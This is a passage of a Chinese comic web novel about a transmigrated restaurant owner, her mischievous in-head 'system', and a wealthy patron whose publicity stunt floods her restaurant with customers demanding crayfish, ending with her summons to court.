这话可不是骗李保德的,他们本就是打算吃完小龙虾就关门,可李保德来了,又折腾了些时间。如今,这食楼里除了章丘还在跑,其他的人都休息了。
李保德一听明日,那还有好长时间呢!
他不!就要今晚吃着!
他李保德最不缺钱!出一百二十两请他离开是吧!他偏不让她如愿。
只见他长袖一挥,冷哼一声,对着章丘说:“去!告诉你们掌柜,我出一百四十两请她做小龙虾!”
“多少?”章丘简直不敢相信自己的耳朵,“一百四十两?”
我滴个乖乖!这是要干什么?
“愣着干嘛?快去!”李保德催促道。
傻了地章丘又匆匆忙忙跑回去。
沈秋吟麻木地看着章丘,没完没了是吧!他就不能下班么?这么热爱工作么?想卷死谁?老娘只想咸鱼!
章丘看着她沉着的脸,颤巍巍地道:“掌柜的,一百四十两,买一盆龙虾!”
一百四十两是吧!很多钱吗?
没错,确实很多钱!
可跟她有什么关系呢?
她只不过是一条平平无奇的咸鱼罢了,要那么多钱能干嘛?
生不带来,死不带去!
就像她曾经的存款,如今已经在银行里落灰了!
章丘见她久没反应,又唤了一声:“掌柜的……”
沈秋吟深吸一口气,怒道:“管他多少两,老娘不卖就是不卖!让他走!”
她说完,啪的一声关上门。
就在她准备倒在床之时,系统地声音响起了:“检测到宿主消极营业中,启动积极模式,请宿主尽快完成客人要求,不然丧命警告!”
丧命!
好不容易活下来又要丧命!
沈秋吟愣在原地,心里有一句脏话不知当讲不当讲!
果然是反骨系统,深谙反骨之道!简直是想把人给逼死!
行行行!狗系统,算你狠!
老娘怕你了!
系统:“再次申明!系统不是狗,系统不是狗!清停止人身攻击。”
“闭嘴吧你!”
系统没再说话。
此时风急,吹落一片叶子无声的落在地上,隐隐透露出凄凉之感!
章丘正要离开,门又突然开了,沈秋吟黑着脸走出来:“我突然想明白了,有钱不赚是傻子!让他等着,我这就去做!”
听了这话,章丘高兴了,兴奋道:“好好好!我这就去说!”
沈秋吟去了厨房,瞧见还有两盆龙虾,便将它们一并开膛破肚,都做给那位客人。
一百四十两银子,就买小龙虾!索性就让他一次吃到饱,免得下次还大晚上的不回去,跑到百膳楼砸钱要人做菜!
这有钱人都什么癖好!
真是滴!
沈秋吟这厢做着菜,那厢章丘陪着李保德说着话。
“我们掌柜的已经开始做小龙虾了,您稍等。这是我们楼里自酿的酸梅酒,您尝尝。”
章丘替他满上一杯。
李保德“嗯”了一声,心愿达成后,他十分给面地端起酸梅酒喝了一口。
果然,有钱能使鬼推磨啊!
一百四十两就买个小龙虾,说来虽然荒唐!可一盆好菜,能让人心情愉悦,远远胜过了俗物。
毕竟,钱没了可以再赚!可吃不到好菜,那便是人间一大憾事。
章丘见他怡然自得的样子,心里默默想,果真是大财主,一百四十两就买小龙虾,连眼睛都不眨一下。
过了一盏茶的功夫,李保德见还没有要上菜的意思,便同章丘道:“你去看看,好了没?”
“是。那您稍等,我再去看看。”
他去了后厨,见沈秋吟正端着锅往盆里倒,忙过去,小心护着,生怕掌柜的一个不小心没拿稳,弄坏了这盆好菜。
瞧着章丘那小心翼翼的样,沈秋吟笑道:“你这人,到好玩!我这做掌柜的都不急着挣钱,你到是急!”
章丘不好意思地笑了笑,十分真诚道:“您待我好,我自然盼着您能多赚些钱!”
他说的是实话,他十四岁就来了百膳楼,那时候老掌柜还在,待他们,就像待亲人一样,经常涨工钱不说,还时常做好吃的犒劳大家。
后来老掌柜走了,新掌柜接过百膳楼,还和老掌柜一样,常常给他们做好吃的。有什么新鲜菜也第一个给他们尝。
所以他真希望掌柜的可以多赚钱!毕竟如今她双亲已无,没有人可以给她撑腰,唯有多赚些钱才能在受欺负时好过一些!
沈秋吟笑了,她能感受到他的那份真挚。
想到自己刚来这儿,也正是因为有章丘这样的伙计,她才渐渐适应了下来,心里不禁流过一道暖流。
这里似乎,也没那么差!
小龙虾已经装好,她说:“你把这个送去后就快回去吧!忙一天了,好好休息!”
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“好勒,掌柜!”
章丘端起盆正要走,沈秋吟又将他叫住,想起刚刚生气的事儿,她红着脸说:“章丘,刚刚凶了你,你别生气!”
章丘一笑,“没事的掌柜,我不会放在心上!”
沈秋吟笑起来,“那就好!”
章丘端着盆出了厨房,沈秋吟一拍脑门,又想起什么,赶忙把他叫住:“章丘,厨房里的锅里放着葱油拌面,我特地给你做的,你记得拿回去吃!”
葱油拌面!
想想就得劲儿!
章丘忙道:“我吃完再回去!”
他加快了步伐走到大堂,将手中的盆放在李保德桌上。
他深深吸了吸鼻子,麻辣鲜香立马在他鼻息间萦绕。他仿佛一棵枯死的草遇见了水,又活了过来。
他一掌拍在桌子上,激动地说:“就是这个味儿!”
章丘惦记着沈秋吟给他留的葱油拌面,忙说:“味儿对了就行!那您吃着,小的就告退了!”
李保德朝他摆摆手,连忙挽起袖子一口一个小龙虾!
吃到最后,他摸着肚子心满意足地打了个饱嗝,却在看着窗外的月亮时,留下了两行清泪。
经过厨房一遭,沈秋吟没了困意,便向大堂走去,想看看是哪位不差钱的主儿如此奢靡,一百四两买一盆小龙虾。
她刚进大堂,就见一胖乎乎地男子涕泗横流。
这是怎么了?出啥事儿了?哭的这么伤心?
她走近一瞧,瞧到他桌上放着的小龙虾,松了口气!
这不差钱儿的主铁定是被辣哭。
她吃海鲜喜欢下重料,一般人接受不了,辣哭人的事,时常发生。
这大男人辣得哭成这样也是可怜。
她心有不忍,为他到了杯清水端去:“李员外,您瞧瞧,都辣哭了,快来杯水,清清味儿!”
李保德瘪着嘴摇头,眼泪大滴大滴流,委屈地说:“我是想家了!”
他说:“蜀地多雾,湿气重。我们也是这样吃辣。可自从我离开蜀地二十余载,还是头一次吃辣吃得如此欢快!”
人呀!就这样!功成名就之后就开始思念故乡,思念儿时味道!才觉走过经年岁月,还是故乡最最温柔!
故乡呀!就是白月光。永远被人放在心上!
他摸干眼泪,觉着自己在一小姑娘面前落泪有些羞人,红着脸道:“刚才瞧见了那月光,不禁生了思乡之情,落下泪来,让掌柜的见笑了!”
怎知,沈秋吟蓦地也落下两行清泪,哽着声音说:“我也想家了!”
她想念夏威夷的海滩,八块腹肌的帅哥,当然更想她亲爱的祖国和那吃一辈子都吃不完的美味!
见她哭,李保德有些手足无措,笨拙地安慰起她!
哄好了以后,李保德说:“掌柜的也是性情中人,不如坐下聊聊,咱们就借着这月光,这龙虾,把酒言欢如何?”
“好呀!”
沈秋吟一屁股坐下去,与他从八大菜系聊到了小众美食,又从小众美食聊到了异域之味,最后还因醉酒称兄道弟,要结为兄妹!
幸而被还在楼里吃面的章丘拉住,这才没做出一番丢脸的事来。
此时月已向东,知了叫得最凶,尖锐的声音十分扰人清梦。
沈秋吟七弯八拐回了房间,往床上一趴,倒头就睡!
第二日,太阳洒下一地光辉,远远瞧出像闪着光的金子!
急促地敲门声响起,吵醒了还睡着的沈秋吟。
她睁开惺忪睡眼,迷迷糊糊打开门。
只见门外人气喘吁吁道:“掌柜的,外面……外面……”
8. 原来是你!
沈秋吟慌慌张张来到门口,只见乌泱泱一群人挤在柜台前,七嘴八舌念道:“小龙虾,我要小龙虾……快给我来盆小龙虾。”一边说着,还一边将大把银票塞在小二手中。
这……这是……怎么一会事?那么多钱,就买一盆小龙虾?她揉了揉双眸,以为是自己老眼昏花看错了。
却又见另一个人更加凶猛,一叠一叠银票像纸一般朝小二身上扔。
沈秋吟惊得目瞪口呆,大哥,那是钱,不是纸,老珍贵的玩意儿,不带这么玩!这小龙虾又不是什么续命神丹,吃了能起死回生,咋这么疯呢!一群人都堵着柜台买?好歹都是濮阳城有头有脸的人物,咋弄得像没见过好东西似的。
人群还在挤着,犹如过江之鲫,密密麻麻,看得人脑壳疼。
沈秋吟怕发生踩踏事故,想挤进人群将他们分开,却连个边都没挨着,就被推了出来,幸好她眼疾手快抓住了柱子,稳住了身形,不然准得摔一脚。
在人群里努力维持秩序的章丘见到沈秋吟,就像见到了就救星一般,拼了老命从人群里挤出来,拍着胸口,顺了一口气道:“掌柜的,不知道谁把昨天晚上李员外一百四十两买龙虾的事儿说了出去。今早上一开门,这些人蜂拥而至,围着柜台个个都要小龙虾。”
章丘一口气说了这么多句,面红耳赤,又顺了一口气:“我跟他们说咱家不卖小龙虾,昨天是一个意外。可这些人说我们食楼看不起他们,掏出两百两银票就往我身上砸,更过分的是,我捡起来还给他,他还不要,跟个烫手山芋似的,一股劲儿的往我手上塞……”
章丘一想到那个画面,毛骨悚然,他第一次体会到钱多得不敢拿正眼瞧,只想拼了命给还回去。
沈秋吟一听,挑起了眉毛,“这……这……这什么操作?”
她搞不懂了,是银票不值钱还是濮阳城的人太富有?买个普通吃食动不动就上百。都说了是个意外,还掏出银票就往人身上砸。
她愣住的间隙,人群又堵得更凶了,章丘一看,急道:“掌柜的,可别管什么操作了。咱们现在该想个什么办法解决才对,可不能再闹下去了!不然门槛都保不住了!”
沈秋吟听他一说,目光落在门槛上,只见门槛中间有了一个小缺口,不大不小,十分显眼。
这一刻,她深深体会到人民群众的力量是有多么强大。那可是约三指宽的实木呀,硬生生被踩出了个缺口,这群人要不要这样厉害!
百膳楼的动静之大,吸引了越来越多的百姓前来围观,他们个个都抱着手,站在门口伸长了脑袋看热闹。
有不知事情的缘由的人挤进前端,问道:“这是怎么回事呀?”
一个老头子道:“都是来买小龙虾的?”
“小龙虾?”这人不解,小龙虾这玩意儿,濮阳城普遍都是,又不是新奇玩意儿,咋吸引这么多人的。
那老头子摸了摸胡须,一脸高深道:“这你就不懂了吧!这那是买的龙虾呀!这是买的面子!”
“面子?”
吃小龙虾啥时候有面子了?这东西壳硬肉少,都是买不上肉的老百姓打牙祭的玩意儿,那些个达官显贵不都认为上不得台面吗?
老头子笑了笑,一副你不懂的表情,慢悠悠开口继续说:“今天一大早,不知谁在城里嚎了一声,说富甲一方的李员外在百膳楼豪掷千金只为买一盆小龙虾。这些不差钱儿的主儿听了,不甘被比下去,便纷纷拿着银票在这里砸钱。你说说,这是不是买的面子?”
这人一听,惊得久不做声。只听过拿钱砸美人包场子的,还是头一次听拿钱砸吃食的。人生头一次,头一次呀!
有钱人都这么玩儿的吗?
“这掌柜的不得赚疯了?”
“铁定的!”有人应和,“我刚才见一个公子哥拿起一叠银票就往一个小二身上砸,那小二惊得下巴都在抖,话都说不清了,想来是头一次见这么多钱!”
“现在都还没看见掌柜的出来,指不定在哪个地方笑了。”
废话!那可都是白花花的银子,换谁不笑!
人群还在拥挤,百膳楼的小二连成排,使出蛮劲儿拦着还在冲的人群。
连沈秋吟都加入了战斗中,使了吃饭的劲儿吼道:“百膳楼不卖小龙虾,昨天晚上是个意外!”
可她的说辞并没有令食客满意,有人道:“管它是不是个意外!反正老子不能被李保德比下去!他出一百四十两,我非出两百两不可!”
只见这说话的大哥拿了银票就往沈秋吟手里塞,把沈秋吟整得一愣一愣的,头一次觉得这握着的不是钱,而是块烧得通红的碳,烫手,无比的烫手!
她欲哭无泪道:“大哥,咱不带这样的……”
这是钱!不是废纸!咱不能这样做!
反应过来的沈秋吟跟扔烫手山芋似的把手里的银票又给赛回他的手里,苦口婆心劝道:“大哥,攀比不好,咱们不能攀比!快把这钱收回去,收回去!”
大哥不接,这场面一换,变成了大哥跑,沈秋吟追。简直是他逃,她追,他插翅想飞!反正,就是不接钱。
折腾了好久,这大哥不知跑哪里去了。沈秋吟累了,弯着腰大喘气,拿着银票当扇子,飞速地扇着!
又一会儿,章丘又从人群里挤出来,手里拿着一大把银票,喘着粗气,说话也不利索了:“掌柜的,咱,咱,咱一定要把这,这散消息的人抓住,可折腾死我了!”
沈秋吟拍了拍胸脯,顺着气儿,狠声道:“对!抓住!一要抓住!”
她非把那人碎尸万段不可!
挣扎着出来的小二跑到桌边喝了好大一杯水,哑着声音说:“掌柜的,咱快想办法吧!这些人跟疯了似的,根本劝不住!”
他现在总算明白什么叫恶狼扑食了!这就是。
嘈杂的声音不断在沈秋吟耳边响着,她直起了身子,看着一个个黑漆漆的脑袋和那伸长了的手!要攀比,不差钱,来送钱是吧!行行行……既然如此,那就别怪她翻脸无情了!
她清了清嗓子,将小二们都招呼了过来:“既然咱们打不过!那就加入,有钱不赚是傻子!都去联系张二爷,咱们给他送钱去!”
小二们得了命令,迅速行动,一些拦人,一些找张二爷。
人群还在喧嚣,沈秋吟本想叫停他们,可她一张口,喉咙一阵刺疼,她捏着已经哑了的嗓子,算了算了,不能用蛮力!
她跑到后厨,从犄角旮旯里拿出一个大锣,又飞快跑回前堂,爬上长凳,猛地敲了几十声,人群终于静了,一个个脑袋转过来,几十双眼睛看着她。
她说:“要买小龙虾是吧!”
众人:“嗯嗯!”
“来,都排队!一个个登记,咱们先上货,再收钱!”
“好勒!”众人异口同声说。
话音一落,他们一个个立马排起了长队,沈秋吟也终于松了口气,幸好没人为谁争第一位打起来。
这边他们排着队,那边小二们已经从张二爷那里抬了几大箩筐小龙虾进后厨。
沈秋吟看着这一抬抬箩筐,握紧了拳头,一想到要做这么多龙虾,她咬牙切齿道:“可别让我抓到散消息的人!”
她现在对那人意见大得想锤死!
不知过了多久,小二拿了一叠纸进来,对着沈秋吟说:“这些……这些都是要买小龙虾的人……”
沈秋吟没接稳那叠纸,一个不小心滑在了地上,她连忙伸手抓住,却只抓住了一头,便只见那叠纸散开,足足有一米长,密密麻麻全是字,跟一窝蜂一样。
小二瞧着她呆滞的表情,说着:“咱们动静儿闹得太大,好多人都来凑热闹,都是不差钱的主儿,个个都在堂里等着,连二楼人都坐满了!我此生真是没见过这么多人,黑漆漆全是人头!”
人多不重要,看热闹也不重要,重要的是:“都是今天吃吗?”
沈秋吟问出这句话后,厨房里的人都看着小二,那小二被顶得发麻,咽了咽口水,“啊……对。”
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沈秋吟猛的头晕脑胀,“快……快给我上九转还魂丹。”
她真要没命了呀!
可惜,九转还魂丹终究没上来,厨房里的烟到是冒可不少,连锅都烧穿了,那几大框的小龙虾也没做完。
沈秋吟累瘫在地上,想死的心都有了。
她心累地唤道:“系统,系统,快出来!”
系统发出了一阵电流:“咋滴了宿主?”
“你不是反骨么!百膳楼里的生意这么好,你不反骨一下?”
她现在就等着系统反骨,启动冷场模式,把那群人都送走!实在是太累!龙虾,龙虾!烧不完,根本烧不完!
系统露出两条黑线:“你都说了我是反骨……你觉得我为啥不发指令?”
系统说完,还贱兮兮地笑了两下,这才消失在她的脑海里!
沈秋吟悟了!
狗系统!精准反着干!她越不想做啥,就越给她找事做!
都不等沈秋吟咒骂,跑堂的小二又进来了:“掌柜的,快快快!都催上了!”
沈秋吟爬了起来,望着苍天呐喊:“老天……什么时候才到头呀!”
那群人,骂也骂不走,赶也赶不走,就像赖皮膏药一样,硬是贴在了百膳楼,撕都撕不下。
这烧龙虾,啥时候能到头呀?
老天不说话!沉默地看着忙碌的孩子!
天渐渐黑了,黄昏染红了云端,像一副好看的画。
百膳楼的后厨门口,摆满了一个个被烧穿了的锅。
却听那跑堂的小二说:“掌柜的,还没完!”
于是那生无可念的掌柜又端起了锅,机械地翻炒着!一脸生无可恋。
这时候,却见李保德迈着步子走了进来,笑吟吟道:“沈妹子,为兄送你的这份大礼还满意吗?”
沈秋吟一头雾水,“什么大礼?”
“这满楼的人呀!”
沈秋吟还是不解,一脸疑惑看着她。
李保德解释道:“我见这百膳楼生意不好……”
今早上,李保德从醉酒里醒来,洗漱后坐在桌前看着一桌子菜唉声叹气。
他昨晚和沈秋吟借着酒意结拜为兄妹,他想着该送个什么礼给她,这才能显得他这兄长有诚意,可想来想去,想得头都疼了,也没想出来送什么合适。
胭脂水粉吧,太俗气!送钱吧,不显真心!究竟送个什么好呢?
一旁伺候的仆人见主子愁眉苦脸,给他出主意道:“这百膳楼生意不景气,常常都是稀稀拉拉几个人去吃饭。老爷若真想给沈掌柜送礼,不若这样……”
那仆人噼里啪啦说了一阵,李保德明白了,营销,给百膳楼送生意。
“可这该怎么营销?”
那仆人眼珠子一转,“不若这样!咱们派个人在大街上嚎上一嗓子。就说,富甲一方李员外,在百膳楼豪掷千金,只为一盆小龙虾。”
李保德一听,拍着桌子道:“这主意行!既送了热度,还夸了我有钱!两全其美,真是个好办法!就这么干!”
于是,李府的一个仆人便在大清早拿着铜锣在街上一敲,嚷嚷着昨晚李员外百膳楼的事迹。
旁人一听,不乐意了!不就是一百四十两买一盆小龙虾么!说得谁没这个钱似的,怎偏就你李保德被人传诵?
于是,不服气的众人们便拿了银票将百膳楼围了。这也就有了各位不差钱的主儿在柜台前喊着吼着要买小龙虾的事儿。
李保德将故事的来龙去脉讲了个清楚,却见后厨一阵沉默,一双双眼睛都盯着他。
他被盯得头皮发麻,有些慌慌张张道:“我与你们掌柜乃结拜兄妹,给她送生意是应该的。大家都别这么盯着我看了,怪不好意思的。”
他话音一落,只听得一道扔锅铲的声音,沈秋音抬起头,咬着牙,一把朝他扑了过来,掐住他的脖颈道:“原来是你!原来就是你小子作法,招了那些人来,害得老娘烧了一天的小龙虾!老娘今天非弄死你不可!”
9. 香辣田螺
“你知错了吗?”沈秋吟拿着锅铲叉着腰,一脸严肃。
李保德立马抱着头缩脖子:“妹子,为兄知错了!饶了我这条小命,为兄来世定为你当牛做马,万死不辞!”
“谁是你妹子?”沈秋吟扬了扬锅铲,“还来世!你信不信今世就要你做牛做马!”
李保德信,就冲她刚才扑上来要掐死他的劲儿,他就信。
沈秋吟说得厉害,他被她凶得不敢出一言以复,乖觉地缩在角落里待着,降低自己的存在感。
他本是想给百膳楼做个宣传,带一波生意,却没想到来的人把楼里都坐满了,那场面是连个苍蝇都挤不下,密密麻麻全是人。
也不怪沈秋吟要凶他,就光门口摆着的那排烧穿了的锅,也能看出今天有多忙。
唉,李保德叹了口气,都怪他太出名了,要不然也不会这样,真是苦了他妹子了。
沈秋吟絮絮叨叨说了会儿便停了下来,她也知道李保德是好心一片,但一想到那么多人,那么多龙虾,她就有点心塞,心一塞自然就气,但把气儿过了后,也不再计较,又投入忙碌中。
李保德觉着理亏,便也不躲着当甩手掌柜,挽起袖子走到井边帮着小二们一起洗龙虾。
小二们一惊,拦着他不让他动,说着这里有他们就行。
他们此举,到不是因为李保德的身份,而是纯粹担心李保德没做过,越做越乱,到时候又惹得掌柜发脾气。
李保德冷哼一声,说道:“瞧不起谁呢!老子在成为富甲一方的李员外前,也是从跑堂做起的。这洗小龙虾,我当年是不知道洗了多少盆,不比你们洗得差。”
原来富甲一方的员外爷以前也做过跑堂!我的个乖乖,这可不得了,得学习学习,说不定能得到什么经验,让他们也成为员外爷。
哈哈哈哈,到时候,岂不是……
想到这一点,小二们立马对李保德熟络起来,还好心地多分了他一盆龙虾,边洗边说:“李员外,你详细说说,你是怎么发家的呀!”
李保德大手一挥,悠悠说道:“那可得从二十年前的一个黄昏说起……”
这边李保德在和小二们说着他的发家史,那边沈秋吟问着章丘:“你说李保德脑子是不是有点问题,今天总叫我妹子?”
章丘一愣:“掌柜的,你不记得了?”
“记得啥?”她脑子一片空白,啥都不知道。
章丘清了清嗓子,“那这可得从我吃完葱油拌面开始说起!”
只见那盛着葱油拌面的盘子被他吃了个干净,连一滴葱油也不见。他打了个饱嗝,舒服地伸了个腰,正准备拾到拾到东西回家,就忽然听得前堂一阵噼里啪啦。
出什么事儿了?来老鼠了?
老鼠对食楼而言可是大忌,他怕真有老鼠在前堂捣乱,于是抄了家伙准备将它制服,可入了厅堂,却见沈秋吟和李保德并排跪着,地上还有碎成片的酒杯。
这,这是唱哪出戏呀?章丘不明所以。
却听见沈秋吟拍着李保德的肩,一副哥俩好的样子,醉醺醺地开口说:“今日,我沈秋吟和李保德结为兄妹,以后有福同享、有难同当,天地为证,绝不反悔!大哥,请受小妹一拜!”
说完,沈秋吟便真的拜了下去。
李保德连忙将她扶起来,“小妹既然叫我一声大哥,那从今以后,小妹有什么难处尽管同我说,只要是我能做到的,一定帮你。”
两人互相扶着手,说着说着,竟然热泪盈眶,几欲落泪。
“大哥……”
“小妹……”
一声比一声感情丰沛,仿佛生离死别,给章丘看得一愣一愣的,手里的东西也落了一地,发出啪嗒啪嗒的响声。
听了这响声,沈秋吟回过头,打了一个酒嗝,她双眼迷蒙地看着他,身形摇摇晃晃,像要倒下一般。
此时楼里的烛火灭了几盏,有些黑,沈秋吟看了一会儿,没认出他是谁,忽然伸出手指着他,大声道:“大哥,有贼人,抓贼!”
李保德突然一激灵,忙问:“哪里?哪里?”
“在那里!”她指着章丘。
章丘立马指着自己,一脸不可置信:“我?贼人?”
搞什么?
都不等他辩解,这醉了酒的两人抄起凳子就向他跑来,若不是他身手了得,恐怕难逃一死。
说到这里,章丘心有余悸地拍了拍胸口:“掌柜的,你知道么?若不是我动作迅速,将你们各个击破,你今日可就见不到我了?”
章丘说完,久未听见沈秋吟说话,他抬头一看,却见她在门外拿着铲子挖土。
这是干啥?
他不明白,走了出去,“掌柜的?挖土做啥?小龙虾里面还要加土嘛?”
这难道是什么新奇做法!
沈秋吟摇摇头,丧着脸说:“小龙虾不需要,我需要?”
她想死呀!怎么会做出那么丢脸的事!啊!完了完了!她一世英名就因为一杯酒毁于一旦!以后还怎么做人,还怎么统领这一方食楼。
章丘更不明白了:“你要土干嘛?”
他上上下下打量她,愣是没看出她哪里缺土。又不是棵树,离了土还活不了了?
却听沈秋吟说:“埋了!入土为安!”
她已无脸面见江东父老了。
章丘一听,这可不得了了!
他立马抓住她的铲子,惊惊慌慌地说:“掌柜的,可不能现在入土为安,小龙虾还没做完……”
若没有他们掌柜的,这满楼的人他们怎么应付得了呀!
空气有一秒安静,沈秋吟在心里头抓狂!大哥,能不能抓住重点,我都要死了,你居然还在关心小龙虾!我不是你最最亲爱得掌柜了嘛!
“掌柜的,咋没反应了?莫不是……真要入土为安了?”
沈秋吟咬着牙转过头,想笑,又笑不出来,憋得心慌道:“章丘,你很好!十分的好!”
说完这句,她将铲子扔给他,叉着腰道:“掌柜的都要死了,你居然关心小龙虾!白疼你了!”
哼!
玩笑归玩笑,该做的还是要做,过了那尴尬的劲儿,沈秋吟又站在厨房前,拿起锅铲,炒着锅里的小龙虾。
李保德在一旁献着殷勤道:“妹子,需不需要我帮忙呀?”
沈秋吟一哆嗦,忙说:“可别叫我妹子,都是酒后闹剧,不可当真,不可当真。”
“那不行,”李保德一脸严肃,“我好歹是富甲一方的员外,自当言出必行,即使是酒后闹剧,那也是我说出的。反正,既然拜了月亮,那咱们就是兄妹。”
沈秋吟给他讲道理,巴拉巴拉说了一通,可李保德认死理,于是,她也认下了这便宜哥。
他们忙到天黑,终于将前堂的客人都送走了。小二们累地躺在椅子上休息,沈秋吟拍着腿、拍着腰,也累得不行。
后厨静悄悄地,只有树上的知了在叫着,唧唧喳喳的。
这时,不知谁的肚子“咕噜”一声。众人静了一秒,忽然笑了起来,笑声穿过云层,吓走了遮住月亮的云。
那人摸着肚子,挠了挠头,颇为不好意思说:“今日太忙了,才想起没吃饭,饿了。”
沈秋吟笑了笑,“大家都辛苦了。我瞧着厨房里有田螺,不如给大家做一道香辣田螺尝尝?”
“好呀!”众人纷纷应和。
自从吃了沈秋吟的麻辣小龙虾后,大家都心心念念着她再度出手,搞些其他吃食。如今盼到了,都高兴起来。
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沈秋吟体谅小二们忙了一天,不让他们动,做得最少的李保德便自发为沈秋吟打起了下手。
“哥,去把那盆田螺端来。”李保德既然执着,沈秋吟也不客气叫起了他哥。
虽然戏称他为便宜哥,可这哥到底不便宜,富甲一方,数不清的钱财,不认白不认嘛!虽然咱不图他的钱,但也可以当个人脉。
李保德自小便想要个妹妹,但奈何命里无缘,如今得了沈秋吟这个妹子,又听她叫一声哥,心花怒放,干活都有力气了,十分利索地就将那盆田螺端来。
田螺在水中泡得久,沙也吐得差不多了,但沈秋吟怕不干净,又抓了几把面粉放进水里,用力搓洗一遍,这才罢休。
这步完了后,她让李保德往灶里多加些柴,然后往锅里倒了几瓢水。
一会儿后水开,咕噜咕噜响。
沈秋吟揭开锅盖,将洗干净的田螺焯水,又顺道放了葱姜去腥。
田螺不需焯水过久,过了个几分钟她便捞了起来,放在干净的盆里。
等锅中的水烧干,她又舀了油进锅里。热锅碰着冷油,仿佛不对头的冤家,立马发出了“滋啦滋啦”的声音。
油温上来后,沈秋吟下一大勺豆瓣酱,炒出红油,然后又放葱姜蒜、八角、香叶以及红辣椒、青辣椒若干,待香气扑鼻而来,她将田螺倒下,不停翻炒数次,而后又舀了小勺白酒放入,等彻底没了腥味,再又加其他佐料若干,接着倒一碗清水,没过堆积如小山的田螺。
“将火小一些!”她一边对李保德说,一边盖上锅盖。
中火收汁儿,热腾腾的气顶着锅盖,哐当哐当响,仿佛要炸开了一样。
沈秋吟数了会时间,见差不多了,便揭开锅盖。
只见一真浓烟将她掩盖,扑面而来的香味让人不住咽口水。躺在椅子上疲惫不堪的人们活了过来,纷纷围着锅边。
沈秋吟拿了帕子捏着锅把手,将盆拉过来,端起锅全倒进盆里。
“都洗手拿细签子去,田螺就得用签子挑着才好吃。”
她话音一落,众人跑了出去,一个接一个洗手拿签子。
她把盆端到桌上,一群人围了上来。看着美食,众人都有了力气,浑浊地眼有了光,痴痴地盯着盆里的田螺看。
“都尝尝吧!”
她一说完,便是一双双手拿着田螺,不停地用细签子挑肉。
大家的动作很快,却也不落下说话,欢声笑语立刻传遍后厨,覆盖了知了的声响。
月亮洒下一地光辉,像一块发光的锦缎。酒足饭饱后,众人也散了去。
李保德坐在树下的椅子上,沈秋吟收完厨房后出来,递给他一个木盒子。
他伸手接过,疑惑道:“这是什么?”
沈秋吟说:“瞧你刚才吃田螺没吃尽兴,又给你做了一份。拿回家慢慢吃。”
李保德忽然鼻子有点酸,眼眶红了起来,“妹子!你对哥真好。”
他作势要给沈秋吟一个拥抱,沈秋吟拦住他:“男女授受不亲!”
“好勒!”他收回了手。
沈秋吟打了个瞌睡,“你快回吧!我也累了,回去休息了!”
“好。”
李保德走了。
沈秋吟回到房里,舒舒服服泡了会儿澡,才躺在床上。
月光落在窗台,拉长了盆栽的影子,她入了梦乡,想着,明天再也不要有事,她想做个咸鱼,好好摆烂……哈哈哈哈!
此时,沉默了一晚的系统忽然开口道:“检测到宿主消极避事中,启动大事不妙模式!”
睡梦中里的沈秋吟隐隐听到声音,呓语一句:“什么?”
系统嘿嘿一笑,“没什么!”
搞事情,它都是悄悄的!
10. 大事不妙
“啊!”这一声惊叫,不光令树上的鸟儿扑腾扑腾翅膀飞走,也让楼里炸开了锅!
一群群人疯狂拍打着沈秋吟的房门,“掌柜的,别睡了!大事不妙!大事不妙!”
沈秋吟拖着只有一半灵魂的躯体推开门,神色迷离地问:“怎么了?”
“大理寺的官兵来了!”
沈秋吟没听清,掏了掏耳朵:“谁来了?”
众人齐声道:“大理寺!官兵!”
哦莫!谁?大理寺!官兵!这,这,这是怎么回事?
沈秋吟瞬间清醒过来,留在周公那里的另一半灵魂也回了躯体,扫过众人问:“谁,谁犯事儿了?”
众人看着她,“你!”
“我?”沈秋吟指着自己。
众人:“对!就是你!”
沈秋吟一时糊涂,她犯了啥事?她自己怎么不知道!也就睡个觉,做个梦的功夫,咋就惹上了官司了?
难道这大理寺连做梦也管,她不过是在梦里偷吃了一块儿牛肉干,这就来拿人了?不是吧!
咱们不带这么玩的呀……
沈秋吟发愣的片刻,章丘催促道:“掌柜的,快去收拾收拾,大理寺的官兵还在门口等你出去,别墨迹了,火烧眉毛了!”
“啊!哦!”
沈秋吟“啪”的一声关上门,以最快的速度收拾自己,然后跟着众人去前堂。
果不其然,只见大理寺的官兵将百膳楼围得水泄不通,连只苍蝇都飞不出去。
官兵身后,百姓们又端着手看起了热闹。
有人展开扇子,一边假模假样扇,一边慢悠悠叹道:“奇哉!奇哉!这百膳楼真是个神奇的地方,从老掌柜去世,小掌柜接手后,这门口真是一天比一天热闹!”
“可不是嘛!”有人接话道,“前几天,有人吃坏肚子围楼!昨儿个一群公子哥砸钱,今儿个大理寺上门!而这小掌柜,一介女流,居然处变不惊,真是奇哉奇哉呀!”
听了这话,沈秋吟抹了一把汗。
那位大哥,要不扇子也借我扇扇!
丫的!你以为我想呀?
咱也不想的!咱就想当条好咸鱼,吃好、喝好、睡好。可偏偏这麻烦自己要找上门来!这能怪咱嘛?
那肯定是不能的。
她在心里想了一大通,最后也没想明白自己究竟做了什么要遭此横祸。难道是犯小人?她掐指一算,啥也没算出来。
嗯,看来是该去佛寺上柱香了!
沈秋吟内心淡定,面上坦荡,一旁的小二满脸忧愁,生怕此一去回不来,纷纷上前说:“掌柜的,您放心,你进去后我们也绝不背叛,必然将这百膳楼好好经营。你在里头也要吃好喝好!”
听到这话,沈秋吟两眼一黑,敲了一下他的头:“进你个大头鬼!都在这里好好等着,掌柜的去去就回。”
她说完,走出大门,大理寺的官兵上前一步,将官府盖了印的文书放在她面前:“百膳楼掌柜沈秋吟,有人匿名状告你哄抬物价,扰乱市场,请跟我们走一趟吧!”
沈秋吟接过文书,看了又看。
确定没写错?哄抬物价,扰乱市场,她没做过这样的事呀!
不过,既然文书上这么写着,她也十分配合道:“好勒好勒,我跟你们走!”
命都没了过一次,这大理寺她也不虚!身正不怕影子斜,她没做过,自然也不会怕,此一行就当是去见见世面。
官兵执法也是颇具人情味,见她一介女流,也不押着她,不近不远地跟在她身后,一路到大理寺。
公堂之上,主审官坐在上位,沈秋吟跪在堂中央,嚎啕道:“青天大老爷呀!冤枉!冤枉!”
系统“咦”了一声,“宿主,正常点!”
“你不懂!电视剧里面都是这么演的,据说这样可以博取大老爷的同情!”
系统:“你身正不怕影子斜!还需要同情?”
“好像是!”
沈秋吟也觉自己刚才的哀嚎浮夸了,清了清嗓子,又道:“大人,民女冤枉!请您一定要为民女做主!”
她说变脸就变脸,把主审官看得一愣一愣的,有一那么一瞬间没反应过来。
沈秋吟眨巴眨眼,这主审官想啥呀,咋没动作?
系统:“他被你浮夸的表演镇住了,头一次见到你这种!”
好吧,是她的不是!
